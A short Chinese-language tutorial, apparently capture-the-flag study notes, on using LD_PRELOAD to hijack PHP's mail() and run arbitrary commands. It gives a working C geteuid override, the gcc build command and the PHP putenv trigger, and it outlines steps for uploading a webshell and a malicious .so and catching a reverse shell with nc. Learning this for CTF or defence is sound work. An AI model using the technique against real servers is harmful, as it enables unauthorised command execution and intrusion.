前置知识点:
介绍文章
LD_PRELOAD是什么?
相当于一个命令 指定一个库并优先加载
攻击手段:
植入恶意程序
常用函数:
mail()
imagick()
以上两个函数都是通过调用系统库来实现功能
示例:
创建一个php文件 写入mail函数
<?php
mail('','','');
?>
使用strace -o 1.txt -f php 1.php
将该函数的行为动作以文本格式记录
查看调用了哪些程序
使用grep 过滤可执行程序
cat 1.txt | grep 'exec'
发现调用了本地的php,sh,sendmail三个程序
php:因为是php语言所以调用了php
sh:用来调用sendmail库
下一步来查看sendmail调用了哪些库
readelf -Ws /usr/sbin/sendmail
这时候我们可以利用ld_preload特性对其进行劫持攻击 注入恶意程序
这里选用geteuid进行LD劫持
先编写一个C程序:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls");
} //恶意作用域所需代码
int geteuid(){
unsetenv("LD_PRELOAD");
payload();
} //创建一个恶意"geteuid" 并设置为unsetenv 调用恶意自定义函数
再使用gcc -shared -fPIC demo.c -o demo.so将C转换为so共享文件
写php代码
<?php
putenv("LD_PRELOAD=./demo.so");
mail('','','');
?>
优先加载恶意类 mail函数的程序过程将加载demo.so
并且执行ls
绕过条件:
允许设置环境变量值 ,比如putenv未禁止
题目思路:
1.先上传php文件 确保连接上webshell
2.上传恶意so文件 构造反弹shell
3.恶意php文件指向恶意so文件
4.在网页访问该文件 (反弹shell)
5.nc 监听本地 开始拿flag